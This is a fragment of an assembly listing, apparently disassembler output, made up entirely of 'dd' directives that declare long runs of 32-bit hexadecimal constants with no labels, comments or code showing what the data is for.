		dd 30A1F936h, 0E98DEE17h, 0FB2E9133h, 3E9C1F0h,	42CF2320h
		dd 8505B2FDh, 1754FE60h, 84C68002h, 0A80774C3h,	0A4983E9h
		dd 4A8100Ch, 0FBFECF0Bh, 74048F42h, 13062DFBh, 20A6DF02h
		dd 58454015h, 0B9C3B0A3h, 2CBFFA87h, 34740449h,	0DDBCB53Dh
		dd 80E911Fh, 0C10CBE48h, 83472875h, 0EB3703FAh,	0B6BA1120h
		dd 0E2CFD8B3h, 50C9A0Ah, 91E8CB8Fh, 20F04541h, 34384FCh
		dd 4C02817Ch, 884223Eh,	1AEBE320h, 0C9D3E7E7h, 9B0BEA04h
		dd 341ECC0Dh, 0F0D1280h, 0D7D281AFh, 330FCBE6h,	0E267050Fh
		dd 0EAFE071Fh, 821B22D3h, 4879279Eh, 0D0E35E6Ch, 1D63E6F4h
		dd 2786DD18h, 105458EAh, 0ED86501Fh, 1C7C300Dh,	191144D0h
		dd 403E07DDh, 0D4271022h, 535FF97Ah, 151611E3h,	20AC965Ch
		dd 0C840F639h, 83030604h, 0FB13FE26h, 489FB08h,	289F708h
		dd 842AEF08h, 0DF501A58h, 0FF39BAA7h, 0BCD973F3h, 0D241E91Ah
		dd 16CD4925h, 8009069Dh, 4E801E75h, 0EB240C01h,	1E3C8918h
		dd 0CDD2FBE5h, 0AA8031Ch, 9404F740h, 2102066Fh,	68BD6C16h
		dd 0A107E100h, 8C071334h, 2AC61662h, 334A12EBh,	248CA23h
		dd 99107CAh, 0DD5A8E03h, 1FD73C40h, 0D4D776EDh,	539E0461h
		dd 0E79EB057h, 50B21F4Ch, 740A5BB4h, 0AB5D8414h, 58A40F13h
		dd 59063222h, 5150F72Ch, 0D84E1F24h, 8DF61689h,	6ACD0C70h
		dd 0FB1AB1EAh, 0BBFD450Dh, 6EC5485h, 3E781089h,	0F16AC844h
		dd 91B82248h, 0EC032FE0h, 3022C823h, 0F9812488h, 105866E8h
		dd 2831E9A6h, 9085303Bh, 0C014616h, 1DDC01DDh, 2A21A440h
		dd 0BFB805E0h, 0B0FE598Bh, 0D9027707h, 0F45DA55Fh, 0EB325C87h
		dd 0C620966Eh, 4A087635h, 0F1EBA844h, 281C2D49h, 0B8C48546h
		dd 5334A872h, 0A8C8701Eh, 0A119EC54h, 0A80CFEDAh, 8CCE0240h
		dd 6EB33BE3h, 2633561Fh, 830293CBh, 867045AAh, 718E30A4h
		dd 0B58F46C8h, 587CAD25h, 0D22D23Dh, 0E5E67D05h, 98D59C9h
		dd 3508DD04h, 0FBCE0CFDh, 95C7D0Ch, 2B8C6C66h, 435453EBh
		dd 3984738Bh, 0D2E5A0D3h, 0B3E18A5Ah, 4E600FF9h, 12896166h
		dd 0A8FC03B8h, 7D062B60h, 84C12B1Fh, 0BF3E9860h, 8F818788h
		dd 1C796DD1h, 8955FAF8h, 18020DB5h, 4A7548E4h, 0A111A5E3h
		dd 0A248C799h, 66EB1843h, 325E6055h, 0B5106A24h, 0CE44FD51h
		dd 0A9118A92h, 0B8A83D4h, 1762A56Ah, 85B9E0EFh,	5B5F2DFFh
		dd 0BA7D14E2h, 0AF11FF85h, 2B1EDD01h, 6CE4A5C8h, 56642A74h
		dd 11AD5195h, 79114D14h, 21AB755Bh, 28681C89h, 0D428CF0Dh
		dd 79203B75h, 6FC8E05Fh, 2E64B424h, 7CDC491Fh, 175B13B1h
		dd 0E8D2A428h, 0F81F82C8h, 93A38E59h, 3C4687BCh, 9C732A45h
		dd 2036386Ch, 0AE8D59D6h, 12CD496Eh, 7F179057h,	9345BD15h
		dd 1ECBC392h, 0C933097Bh, 58E2D0B8h, 0C85FC662h, 9C0E7400h
		dd 3D410967h, 0ED7CD510h, 423489Dh, 3BD46FCDh, 65978A0Dh
		dd 56AF87Bh, 9816EB2Eh,	0C30110B3h, 0A6E8C70Eh,	3E061E19h
		dd 58031161h, 508C38C3h, 0D1730275h, 85688AB6h,	0FCD90804h
		dd 2B44CDABh, 0B82975AFh, 310E316Ah, 0D52BFE05h, 0F3D81C4h
		dd 8741A580h, 25490B99h, 2965FEA8h, 7D81BE04h, 7FF0F8D0h
		dd 39093F75h, 328508ACh, 12913CD7h, 750319FFh, 0B8950B2Ah
		dd 0BAA27FF8h, 0DC4366C8h, 33EC2758h, 13F9A417h, 0E8F7136Bh
		dd 74A71D7h, 75598E86h,	2F6EB074h, 640E5D58h, 98B49594h
		dd 2D9A562Ch, 4442A0A2h, 83299042h, 0BB21AD22h,	99660741h
		dd 65830E74h, 40840F0Ch, 33AE574Dh, 9948BE4Ch, 0E72F736Fh
		dd 5EF63395h, 0D1DE0C10h, 0B120C65h, 5A038048h,	130E7ECh
		dd 0EB4E081Ah, 0DC89E751h, 99FEF0Eh, 2C5E121Bh,	995182E4h
		dd 822043CEh, 0EB9CDF54h, 8D162756h, 0E423968Bh, 4FC0E51h
		dd 0BE255066h, 0F0BF090Fh, 2612EE81h, 891834AAh, 315F3089h
		dd 7DF49B64h, 2C38D4FEh, 1B620E42h, 0F94E2DBh, 955DD095h
		dd 0C8F45272h, 695D234Bh, 0B524D5Fh, 0E440FEE8h, 47BEE76Dh
		dd 0E2977146h, 1C2DE98h, 2DDB0A74h, 0D9E325D0h,	399BF95Dh
		dd 51103B0Dh, 171209D8h, 2D1BCD83h, 0DC49656Ch,	44B51234h
		dd 0E8C87135h, 69F17FDEh, 84431DD8h, 1989EBF2h,	0A2E3812Bh
		dd 1700B86h, 4F0EA499h,	0FE623359h, 5019E118h, 491F72h
		dd 9485479h, 99C8A3F0h,	9BFF75DCh, 6D06374Dh, 1EE8F618h
		dd 0D05820E7h, 976BA25Dh, 1A7D8AAEh, 0FC5C7468h, 2FF5CBD2h
		dd 1F58EDCFh, 0DB60E87Ah, 38506221h, 0B048C3D0h, 90956E22h
		dd 0BDBE0FA3h, 7669FDDCh, 74590244h, 96F7462Ch,	0FA32D407h
		dd 9A07E35Eh, 71CF71Eh,	0D47501E9h, 0D7340DE8h,	1E1BFC57h
		dd 0F5F9460Eh, 0BCC1FDEFh, 0C984840Ch, 8EA8F375h, 1E15D5DFh
		dd 74240830h, 0CA743A0Ch, 148E8F1h, 0F43D4066h,	0D50FDF24h
		dd 0D06192Ah, 3465F980h, 74450AC9h, 0FED9244h, 38674877h
		dd 49FAB730h, 0A1011487h, 2E40118Ah, 0CA88D6A0h, 0AC4EF616h
		dd 59A22CEBh, 0C09D2A72h, 522A8F4Dh, 74E6815Fh,	0DE13B1Bh
		dd 2D60AE08h, 0A5298B12h, 892D0CD8h, 48774808h,	95129004h
		dd 602918ECh, 41BF1B3Fh, 7380CD4Ch, 0F2A25A3Dh,	277413B2h
		dd 69A1D9B0h, 0C4091BE8h, 0DB06D670h, 51C19F0Fh, 38831714h
		dd 538D1E2Dh, 31011F03h, 24EB267Bh, 8B4C3806h, 498C9074h
		dd 0E3608675h, 565EC96Dh, 437E90DAh, 83925050h,	0DA633E6Eh
		dd 3412372h, 82CA92D0h,	5D6C6039h, 0A635DA8Dh, 0C61C65F9h
		dd 3C40313Ch, 0D24147Eh, 788D3A57h, 64088812h, 786EA44h
		dd 6870C516h, 38E24580h, 0E95240Dh, 0CB4DC879h,	20DA9383h
		dd 0B8449EEDh, 122690C8h, 0E04501C6h, 279141B2h, 5E403C1Eh
		dd 5794B04h, 28DB64F7h,	0FB92802Dh, 115A7C64h, 99608D87h
		dd 90FEF75Eh, 3714DEBEh, 2FDAF60Eh, 8D760A43h, 8DAA98B7h
		dd 17EAAA5h, 6C0C8052h
		dd 48561024h, 0A11A9657h, 875521F0h, 35441C95h,	0F02F0E89h
		dd 89247ECh, 8F403E43h,	0A08B76CDh, 4C8030C1h, 0EB3BAA60h
		dd 5B6CB55Ah, 326A6F0Bh, 4460C20h, 0BC34803h, 0B9C5B7B7h
		dd 0FD040234h, 45C60775h, 17D8D03h, 0CCB14F4Ah,	5773A03Bh
		dd 0C6075B93h, 47453007h, 0F80312C1h, 0AC411D24h, 1BA04816h
		dd 7885982h, 471D7B5Eh,	7DF685C2h, 0C0AFBA28h, 33DEF715h
		dd 3B0806EBh, 78FE7CB2h, 9D2D5314h, 0D3306AC9h,	0BB1493D0h
		dd 8DAE1664h, 227DF155h, 450721B3h, 0BED824A3h,	0FA49EE09h
		dd 0F00D24CBh, 89E96AF3h, 0EB305350h, 5653F18Bh, 0DA0D48B2h
		dd 392A0597h, 9C0F2741h, 0F4E588C1h, 4403D40h, 282DB048h
		dd 2415A3FCh, 923217Ch,	0CAA51D7Dh, 4817BE0Ah, 20F98EC1h
		dd 0C23FFED9h, 94990C3Dh, 32A77277h, 0B9141C10h, 10025012h
		dd 5A2FF779h, 5C62917h,	95DB2FCEh, 0D323E1CFh, 0E64D2580h
		dd 432757A0h, 3AAD970Ch, 0D7ABFC9Eh, 2CDCBF23h,	83107DC5h
		dd 0D3B3246h, 1A2C2245h, 0E9137566h, 368CE557h,	0E5DF4F5Ch
		dd 0E0161854h, 56EBB525h, 0F4DB1311h, 5D52E769h, 8565957Ah
		dd 1FC91AD6h, 9551FDE6h, 0A550400Fh, 0B06F703h,	274980E4h
		dd 0E1745F5Eh, 0BF5718C0h, 93051320h, 2C12BE19h, 0A41B65BEh
		dd 664E0465h, 0B77E5FC3h, 0FD6FC90Eh, 6975F2A0h, 5652FF6Ah
		dd 2A476366h, 0EB7F1B57h, 0EC3E56h, 63388150h, 0E06D2F73h
		dd 7820F0F8h, 4068A214h, 0BD084973h, 0F1D6D00h,	242755B6h
		dd 54A25552h, 655D561Ch, 18C02C57h, 0EB2074D1h,	65181F52h
		dd 1B2D2406h, 0AB27B18Dh, 0BE253E3Dh, 182052A6h, 0D6800C25h
		dd 840896Ah, 0F0EB10FFh, 0F0DBA7Ch, 4413B18h, 538AAA15h
		dd 0BB088ABEh, 0E0C34880h, 3F850F1Eh, 5AB75A95h, 569D837Eh
		dd 56A187F5h, 0BE891651h, 0F808604Bh, 91E87C8Ah, 0FCA11B1Bh
		dd 14D04E1Bh, 7873BE85h, 6297C9ECh, 75A511F7h, 46035649h
		dd 387784F9h, 28340B44h, 0C88EDB1Eh, 45B6D114h,	20C84512h
		dd 0FCBDF0A4h, 45FC47BDh, 0ABE33457h, 0E3E21991h, 0D82D8032h
		dd 383BBD06h, 0AB378CFEh, 7FA36394h, 47BE97Ch, 167F77D5h
		dd 76F6ED52h, 1031CF9Eh, 853F7EF4h, 403F0B8Ah, 0BB788684h
		dd 1212F610h, 2A097EF8h, 37270476h, 4F29D998h, 0A9F837FAh
		dd 582F19D4h, 3E39634Eh, 163DE17Fh, 1082E4F4h, 49345FAEh
		dd 6458EBC2h, 6555EC49h, 355153F7h, 0C8605281h,	0B2B8856h
		dd 4EA52C15h, 14C30091h, 28093D2Ch, 0DD29807Bh,	0AA6AF607h
		dd 6E2E1F1Fh, 6C64259Eh, 88421583h, 0F006654Ah,	48294778h
		dd 0D58CC552h, 5C4A2F81h, 5D3DBD32h, 0D28523CBh, 35B1217Ah
		dd 4BF62E18h, 0BAE10BDCh, 6E02E477h, 85F2FE73h,	21243BE3h
		dd 73F887F0h, 7C3E514Fh, 7C61E643h, 22D5DE7Fh, 0D0104E0Dh
		dd 98037419h, 57F44D5Ah, 79800607h, 0BBFA0908h,	0F0C08314h
		dd 6FF0936Bh, 0A36FAF50h, 2E721EAh, 0A9EB14C6h,	0EC8F5E57h
		dd 48BD479Ah, 63804A30h, 508D8A78h, 0FC4194A7h,	44E848Dh
		dd 852AA1F1h, 52608298h, 8245657Fh, 206F622h, 7C006FFh
		dd 5D184A4Ah, 0A8143823h, 0A670F01h, 0D2309D09h, 475A40Eh
		dd 0A5B3BCAEh, 88FB31AAh, 0CC80FA4h, 73DEDAC9h,	4875F273h
		dd 804E03E4h, 55741408h, 7EAE609Fh, 9977F405h, 787949CDh
		dd 44484718h, 0BA5A4F0h, 103680Ch, 0D034E455h, 0E84F9D36h
		dd 0CFEB3C1Fh, 0B9340BCh, 8156F57Dh, 93341348h,	3A4551Ah
		dd 1DF03437h, 74A6EBB7h, 340FAFC6h, 7D0D8964h, 547EEC3Ah
		dd 0A761166Eh, 71380374h, 0B92B952h, 0FC742036h, 11E21C97h
		dd 37220251h, 93F937Ah,	0E9D6BC2Ch, 1F34FC4Eh, 7349F8BAh
		dd 8D66D1B5h, 42D8BCE0h, 6F4C3674h, 0D209575Ch,	87680283h
		dd 287AC48Bh, 0EE868940h, 1E0C5473h, 2049A610h,	0A197862Bh
		dd 50570718h, 567A4042h, 912FEA2Dh, 8E1CA898h, 4ADE7A97h
		dd 50C3FED4h, 0EC16DCDCh, 4D587EFFh, 0C70D2C45h, 83E4124Ch
		dd 58E032FCh, 0A23DFE17h, 840F7215h, 9F5D7615h,	66AC7D53h
		dd 551E2B69h, 41E1D3C8h, 0A5DA649Ah, 113C9241h,	0C8BF4CE6h
		dd 61F52DC9h, 0D922C64h, 5091D5E4h, 0BF8DAAB6h,	0E3E0BA44h
		dd 4EB9A25Ah, 92CFEB14h, 0EE6C8F42h, 892DD878h,	0E4678246h
		dd 0CF7FAFA3h, 127E14E0h, 0E883F81h, 0A20BB527h, 0EE213C07h
		dd 979214CBh, 1F391285h, 0A1398C5h, 0E6274D4h, 620AE495h
		dd 0AD6F6EFBh, 1975839Dh, 6D3F7883h, 698C7613h,	88A91E0Ah
		dd 362A27E7h, 0AA65B04Ch, 41AF815Fh, 99447A04h,	26120175h
		dd 6B4514E9h, 22422ABDh, 8BE89C60h, 2959107Ch, 0E0E6F61Fh
		dd 25EE4413h, 186882E2h, 0D0B80751h, 598A3027h,	86628ABFh
		dd 571E4412h, 0C24B88B9h, 2BC41488h, 2E0D9891h,	229938E7h
		dd 966113E9h, 31131488h, 0A521D0Fh, 73114C5Dh, 2A84E4A3h
		dd 0E0E4D64Ah, 574F1464h, 8D408CB6h, 1804FE7Eh,	33BE850Fh
		dd 23A1078Bh, 0BCC014B4h, 67EB5608h, 0A183497h,	3A75C256h
		dd 8C475896h, 0A97E74C6h, 0FF473483h, 60502B9Dh, 3A66EB8Ah
		dd 9E5674E2h, 0FA485736h, 500DA228h, 0EA04C53Bh, 0FA40D31Ch
		dd 472DFBC4h, 82AA46A1h, 1FEBB5E0h, 0AE8B1A9Dh,	6AC43AEBh
		dd 0AA524F96h, 874C91BFh, 9680B02h, 0FC0C431h, 2933518Eh
		dd 74AB51F9h, 884B381Bh, 20119204h, 70FF51AAh, 0A691855h
		dd 1D02D262h, 0DF0C4538h, 6721B9C2h, 0C2CFA401h, 13AF42F4h
		dd 60EFCF16h, 0C6030451h, 7CD21785h, 32200D0Dh,	0C228F9Eh
		dd 44CAEE0Eh, 0CBBE5EC1h, 5A94E90h, 97565127h, 55F92C53h
		dd 4746A4BEh, 0E4E1DC6Dh, 0FF932D50h, 0C6CCD06Fh, 0C2295DDDh
		dd 0F981EB5Eh, 750AEEC4h, 0B202B905h, 5D8A2248h, 0C20A8459h
		dd 0D0E4DC0Ch, 0FD1A007Eh, 4A10895h, 0CB449FA3h, 0A0A71658h
		dd 9107EBD0h, 273E4C25h, 2F899DB3h, 6259A2ADh, 0E85691BAh
		dd 0A15EB00Ah, 8D427114h, 30717DC4h, 0A5B62C03h, 7F8972E5h
		dd 18D50E75h, 6282D84Eh, 0A3323759h, 4AF593F5h,	0DCB6312Ah
		dd 0A11552AFh, 907DCE77h, 0B90263A3h, 0FED9FF33h, 0D387ECE0h
		dd 0E661CDD6h, 0B97FEF07h, 22944881h, 955B9F9Bh, 7D175C2Ch
		dd 1C255B8h, 0B871F80Fh, 35EE3693h, 55E2EEA7h, 0B92F2D25h
		dd 0B848FC85h, 5C825B38h, 0BFFEDA50h, 5BBDB663h, 0A041AB4Dh
		dd 74F6DF0Bh, 0E95A186Fh, 0A237F743h, 5B9FA0B6h, 0CAE8D721h
		dd 6651E44Fh, 51478C93h, 8F619F14h, 3D68471Ah, 1C54514Ah
		dd 831D0B75h, 9EC4DC3Dh, 0DE561427h, 0DF6E87Bh,	4C02FF0Ah
		dd 0C7488B09h, 0C2BCD325h, 0A5122A65h, 77094369h, 76F6140Ah
		dd 0F7495408h, 1FB96912h, 0A5AD6BD5h, 5D73FCCBh, 0D74A150Ah
		dd 292A0B29h, 0B94F9C43h, 58731391h, 4F182FAh, 0CAC25F7h
		dd 19C423F8h, 9100812h,	42210574h, 115732EBh, 3527E615h
		dd 0E0B60F17h, 0E5AE04B0h, 0D136ABD5h, 0A115C43Bh, 950F318Ch
		dd 976B92DFh, 42439428h, 14EB12AFh, 0B0621D3Eh,	210AFEFCh
		dd 0EF1AC5E8h, 44259E1Bh, 3E3DEB04h, 8914C833h,	0A46B3F23h
		dd 2816920Fh, 8B850D69h, 96D1C275h, 753233CEh, 7F766A56h
		dd 9D50CC2h, 4A1B1B0Eh,	2D10A94Bh, 1C28D8FCh, 0D35638EBh
		dd 254BF927h, 35EC5F1Fh, 39BFCDD3h, 0EB8EF2F8h,	11EB1411h
		dd 2B60F27Dh, 0C4A8B975h, 651C222Dh, 0F3D927EBh, 944562Dh
		dd 1CC0068Ah, 0ACAC084h, 0E10BDCCCh, 8ACF6A09h,	364D8580h
		dd 8955E32Eh, 64977DC0h
		dd 0F893C091h, 0C1362F6Dh, 0F97B57F2h, 3D4B6255h, 99080896h
		dd 0FB46467Fh, 630B0595h, 0E9E6299h, 92C11296h,	253E80EEh
		dd 52D94120h, 0CB329008h, 0E924E809h, 0F191F248h, 0B274EA2Ch
		dd 0DC70FB0Ch, 0E006E464h, 45C6F400h, 0ECC01F3h, 825E8AD0h
		dd 11016D5Fh, 29D2A904h, 0F4395470h, 44BDFBFFh,	0D0432F4Ch
		dd 65EB7200h, 4E06FB83h, 5E743E7Fh, 872A4A0Eh, 0A646C77Bh
		dd 0D0950A54h, 4C0AC1B1h, 9CFE3775h, 80C3EBC8h,	0DB36017Eh
		dd 20C072Ch, 4F468D34h,	0D07C232Ch, 0B781DA9Dh,	308B4369h
		dd 46CE27EEh, 5A22ACF2h, 17743268h, 37846C0Ah, 28778677h
		dd 0EEBF11Bh, 0F0067E79h, 0F14DFA06h, 7D808207h, 64DFC589h
		dd 0D314D025h, 0CA6DB14Fh, 0FA608AABh, 0C03783BCh, 7C9B0C04h
		dd 32D44551h, 0E4827DEAh, 88401475h, 9ADD533Ch,	0EEC64316h
		dd 51539078h, 1D9ED04h,	0CAA0107Eh, 0CE833304h,	6E5EC320h
		dd 74C4820Ch, 0EA631028h, 7B0ACB14h, 7CE62BFFh,	71FC1267h
		dd 0B90BEB70h, 3189DA1Fh, 57FA65F9h, 399470F4h,	97419F2h
		dd 8241F40Ah, 0B26207DCh, 8F896F3Ch, 0C090025Eh, 0FA1050Ah
		dd 2C129F63h, 186410E1h, 8E3104F8h, 670FA86Ah, 0A38617Eh
		dd 0A81B7469h, 57229BE3h, 0FCBC8A02h, 0D4C37CFh, 3C07648Fh
		dd 646A700Ah, 0EC14985Eh, 422D32F6h, 0EA8287Eh,	7A4D01E9h
		dd 8D2B8513h, 2B893CB5h, 0E753682h, 0B8C9D88h, 438A3D22h
		dd 2B260950h, 55AB1775h, 0A725BAC2h, 0C3A83557h, 6658893Eh
		dd 832F673Dh, 7F09E037h, 5DF44922h, 6F7E9D69h, 95288C4h
		dd 539138FAh, 62584485h, 0D9DC4421h, 821715A8h,	1E88E4B0h
		dd 125EBC46h, 0F41D38BBh, 66577589h, 235C2929h,	0AA57169h
		dd 142A0688h, 0D0AB6E46h, 63E424C9h, 28228E9Ch,	0C9D265FBh
		dd 0C477450Ah, 0A398E29h, 6506C676h, 2DAC7A37h,	5507575h
		dd 27934686h, 992C1E15h, 0AC342128h, 0A164AD0Fh, 12425EA7h
		dd 98C808C8h, 5345A026h, 0A209948Dh, 24A466A0h,	0C8DC05F6h
		dd 154D1BA0h, 0AFCC503Eh, 0A4645826h, 0F5013B4h, 4C812BEh
		dd 0BA48D450h, 5E417693h, 51B4B3B0h, 755224F8h,	6AFF0A20h
		dd 0A49D10C7h, 0D37E64B6h, 0BFE9EAA6h, 47FDB020h, 978B7538h
		dd 7A705F41h, 0FC96F1A8h, 51759F9Eh, 969E4ABFh,	0C3DDC911h
		dd 7413122Eh, 3B928224h, 0FA22A763h, 562C983Fh,	0C3128AEBh
		dd 0BC2A2204h, 71281DCAh, 0EA8B5162h, 804E90F7h, 4A5E673Fh
		dd 0C79308A7h, 721580E1h, 0A9223222h, 195E89EDh, 5C8B0644h
		dd 0FD8901F1h, 36AE0E9Eh, 7430FB35h, 1A24F1EBh,	28A15F1Ah
		dd 2F743B8Ch, 2AEA5810h, 6BFBF398h, 881A0E9h, 8A5E6F6Ah
		dd 2F513ABFh, 3AAC3B28h, 306A36A0h, 4E165B50h, 8C4D6DB3h
		dd 786A8582h, 1047CFEBh, 0C54C1891h, 0FEFFE817h, 0FD9CEA82h
		dd 7DC71CD1h, 1A847B45h, 0A75DC60Eh, 4746B209h,	20A72656h
		dd 558A07FEh, 0AE0735CBh, 475F96C1h, 7F36C2D6h,	0FE3D0B69h
		dd 135C355h, 3A473620h,	0F00473D1h, 8CEEBC1h, 9BEDEC2h
		dd 62177D0h, 306D233h, 46F22BF0h, 0C292CA8Bh, 0B309A9FCh
		dd 0CAB95F01h, 4E42009Ch, 0FA32FA75h, 44B460EBh, 8BD08AC8h
		dd 861FC157h, 92EC9BEBh, 4012299h, 33B8584h, 0CE255F89h
		dd 1A25E612h, 5E60FFE1h, 0A6E5AED0h, 430E4C48h,	48B5B3A4h
		dd 90BCB484h, 74805F58h, 6AC88B7Eh, 5ACB93FFh, 0E85D2C01h
		dd 1C86E2D3h, 1603F9C1h, 9C0D4C00h, 0D185CB33h,	0CF604874h
		dd 0C527586h, 4194EA64h, 880991A3h, 3162C845h, 0D2F19FDh
		dd 0CF594F5Ch, 0EBB2C92Eh, 59BF4225h, 72C2082Eh, 0D16216D0h
		dd 2FA4AD5Eh, 1489ACBBh, 316BC24h, 109E1A50h, 3919E9D4h
		dd 49D0722Eh, 50B51208h, 10F5B0BBh, 2813A5BAh, 7FCE2803h
		dd 0E6450243h, 8A72E364h, 0A02F8613h, 2E8C70D4h, 0C5C12083h
		dd 0A5083480h, 17CA664Fh, 0C6240675h, 4E8A80C4h, 3AEF66B5h
		dd 724DD049h, 0F15D0150h, 12E3E9CBh, 753E40F0h,	5295964Fh
		dd 99314477h, 280D64A0h, 9117A225h, 1473A355h, 5596D839h
		dd 59C708DCh, 53D06383h, 821E7389h, 0DC2E6605h,	0ECB1534Eh
		dd 0F05D615Eh, 4015756Fh, 537D38B8h, 34650A6h, 0E17A3958h
		dd 75AFC0F2h, 90D597DCh, 0A4D0F674h, 3E11B260h,	9919438Dh
		dd 4111A01h, 0AE05E532h, 1524ABF0h, 4FE9A432h, 2FF7973h
		dd 8402E9EDh, 4DBBB9DCh, 5587F7E6h, 0E1AF0DD1h,	1A62D7D9h
		dd 4C2E3C61h, 19B2460Fh, 700A3F74h, 0C54A3AD5h,	0A1176F2h
		dd 0C1166C08h, 3FE03E7h, 0D1BF3C88h, 2FD27FC7h,	3774C34Eh
		dd 916C7E53h, 0A1E4E839h, 7C8D02DAh, 0DEB7D01Fh, 5C743B88h
		dd 0F702740Ah, 46178CDFh, 32D7F9BCh, 1929CECCh,	563329CFh
		dd 1048D032h, 0D845405Eh, 0DC22A2BDh, 3E10EB32h, 0F76266F3h
		dd 0AE3038F9h, 0FE0ACF66h, 0C58F29Dh, 42DAA4DDh, 12D3BDA3h
		dd 3BC90600h, 0B9CFBC3h, 0A8CA5593h, 1888144Dh,	0E283273h
		dd 2585C850h, 0E69F5A3Eh, 0C637DD76h, 96EF25B7h, 0F76017A5h
		dd 0F244FC6Eh, 3EEA97F0h, 0F6566982h, 30565C70h, 7BC44DC7h
		dd 0E72D054Ah, 0C7172852h, 70FF2E26h, 52A910C4h, 0CC9A9711h
		dd 38286FE9h, 0C9E49FACh, 4E7FB982h, 1776AEC0h,	0B8107E56h
		dd 36048F62h, 21695B8Bh, 981034DDh, 90E6EE37h, 7EE2530h
		dd 0C31712D6h, 0FF1C62A9h, 978CF4Ah, 7C10AAAh, 63894101h
		dd 731652C3h, 30BFE640h, 0F74FFEBh, 0EE14DF97h,	0EF699E90h
		dd 0FC32D59Eh, 6443DD6h, 0FDF82398h, 0D2D6196Ch, 0C5F5E714h
		dd 9AF4257Ch, 98317DE9h, 19AF0261h, 13A6027Ah, 27A06817h
		dd 125D2AF4h, 0B4FB8108h, 284C7DA6h, 1D02E272h,	62FB0212h
		dd 101D6B97h, 36FA920Eh, 0D1977C95h, 53504996h,	0ED94D297h
		dd 0DDBE84E3h, 5FA87F98h, 9C7CFA92h, 6F6295A9h,	499D475Fh
		dd 74ED747Eh, 2B70F12Ah, 0C774E31h, 0B7030337h,	52EB4104h
		dd 8877C8E2h, 0C1090FBAh, 481175F9h, 8D85FE44h,	0FE8E225Eh
		dd 9102880Dh, 0BC8EB3FDh, 8E19B81Ah, 11C20D0Ah,	905FD2FCh
		dd 0B55D64FEh, 0B0026D19h, 0A45A8D8h, 0F32E9823h, 8220F23Bh
		dd 0F8C03D3Bh, 830F1309h, 0C93D8986h, 0FA23BF7h, 10430F0h
		dd 83697424h, 52936742h, 9D3CF8E7h, 16468979h, 30178BFAh
		dd 29108BCEh, 59E03981h, 40C53B32h, 0E22C931Ch,	2D46F750h
		dd 550AF5C9h, 0E89250F9h, 0ED2A1FACh, 0B219691Eh, 0B4645986h
		dd 74ED3CC1h, 25895509h, 8C04A665h, 151F815h, 88258314h
		dd 9C3A4BA2h, 7B9D09A7h, 7CDBA786h, 67135EA7h, 43F4F1Dh
		dd 0B876FF19h, 8166C794h, 0FBF70C21h, 13BF76A6h, 6226FC06h
		dd 925E0406h, 4C74F82Bh, 4083A409h, 244B5979h, 0EEA4E9E8h
		dd 2087E2C9h, 0FF0D46F6h, 987D0F69h, 0B8D067DBh, 1B46C4B1h
		dd 7322FBC0h, 0CB3C8B53h, 7CD551FFh, 802BC12Eh,	37E840F9h
		dd 850A966h, 0F39531F3h, 4AFC2D1Ah, 40122616h, 3B1738FBh
		dd 0E75C714h, 26439299h, 1289FD24h, 0BB07EB12h,	0CB0DC65Dh
		dd 0B52B63FFh, 0BF99058Eh, 8E449F8Dh, 1ACB8F66h, 0C8F63357h
		dd 355FC0F7h, 0E6B55080h, 0A14D0C7Eh, 8B0EA570h, 2BB00426h
		dd 48D3389Dh, 0E42E10BBh, 931F302Ch, 0F350B10h,	0D93FA910h
		dd 1D877991h, 16CAEB43h, 1313742Ch, 1B90E3A8h, 0BDC0EA5h
		dd 4D1C11D7h, 39B37C15h, 0B409E26Bh, 38B42B92h,	576C4297h
		dd 0BC4245CCh, 0AF0A8464h, 0F4645E89h, 0E9BA7A41h, 252CF72Bh
		dd 0CB117E09h, 0A0BF3608h
		dd 0D40A9DBBh, 447CA76Ah, 9B485D73h, 51EF6C37h,	40568B67h
		dd 7582C2ACh, 9780345Bh, 0CFF98357h, 5D3D1422h,	0F7EA5C1h
		dd 1BBD3C42h, 0BF04CFBAh, 44F8A20h, 0E1805F09h,	5C4E0C82h
		dd 0D8CEF006h, 7E8172EEh, 9F2C1858h, 774E68F2h,	14EB1FC4h
		dd 10A28CEEh, 6B0E8B80h, 311BD148h, 0BA9585D4h,	0E14E59A2h
		dd 2B09CDEAh, 0C455E0F6h, 5B03F73Eh, 0FC9064ECh, 0C584C849h
		dd 0A9C64901h, 29C929C3h, 57C93ABFh, 0C6FE9DCCh, 51508A3Dh
		dd 12E03BB0h, 0EB4FD39Eh, 4084B956h, 756497BBh,	30CB1ACFh
		dd 0A62E886h, 0E8AD297h, 0A3C0540h, 4DFF16E1h, 0A6187F10h
		dd 1B014F86h, 61F845C7h, 0AC0C682h, 0F1FF0A05h,	6BB968F4h
		dd 517C872Eh, 0C2AB3445h, 0C05C640Fh, 0E3D83A64h, 305586Ah
		dd 99FBC13Eh, 0D89C2BEh, 63A8CF64h, 3290AD43h, 43B66D5Eh
		dd 50B0267Ch, 0B518C8F3h, 221FFA9Ah, 0E7A1DBB9h, 0B28A1030h
		dd 0BE48906Eh, 8577317Bh, 0EC1B61D2h, 94B80A3Fh, 38B00C72h
		dd 88FB240Bh, 66E95F01h, 4E0678F8h, 0D07782F9h,	0CB38EF14h
		dd 8A209C45h, 681A3C0Ch, 0DC08BAEh, 0B6A00B74h,	2ABCFF47h
		dd 49734340h, 0ABC5A339h, 40452718h, 68DAF7Eh, 2E601283h
		dd 7C60D5Eh, 0E58B470Dh, 0B7CC5973h, 88591259h,	0D1A3D59Ch
		dd 15660A44h, 50D3475Eh, 0BD9DD74h, 8A132041h, 60205CAAh
		dd 0B8B8F17h, 44028847h, 29EB0531h, 7548413Bh, 0FFD580F1h
		dd 2EEEC8BEh, 0D418EBA5h, 0D8A1AB84h, 40F9F72Bh, 451741Ah
		dd 47C01478h, 99820F93h, 24F11ED2h, 0F4A9745Eh,	11933106h
		dd 0E18802E5h, 898E9C2Bh, 4BE8DEE7h, 22A5071Fh,	0E444EC87h
		dd 6712B7BDh, 587E7E5Fh, 1B626A08h, 0E152FC1Dh,	0EB223506h
		dd 10117069h, 0F171A720h, 65D0A73Ah, 39801A26h,	0C6FF0E40h
		dd 51C69046h, 1E6A24A1h, 0B1CA81Eh, 448DE2EBh, 31773209h
		dd 3E656613h, 0C567E47Eh, 0B96179B5h, 0B995485Ah, 688D3040h
		dd 51B87004h, 56204B08h, 27C322Eh, 746639EEh, 0BF527D0Dh
		dd 900E9BC4h, 38856558h, 89806083h, 88548D07h, 8690C17Fh
		dd 0FF608032h, 5400408h, 4AAE0F8Bh, 977DC162h, 8BDE1E4h
		dd 0BB4E7C4Ah, 0A157EF1h, 0D2041984h, 1E84467Eh, 383664C8h
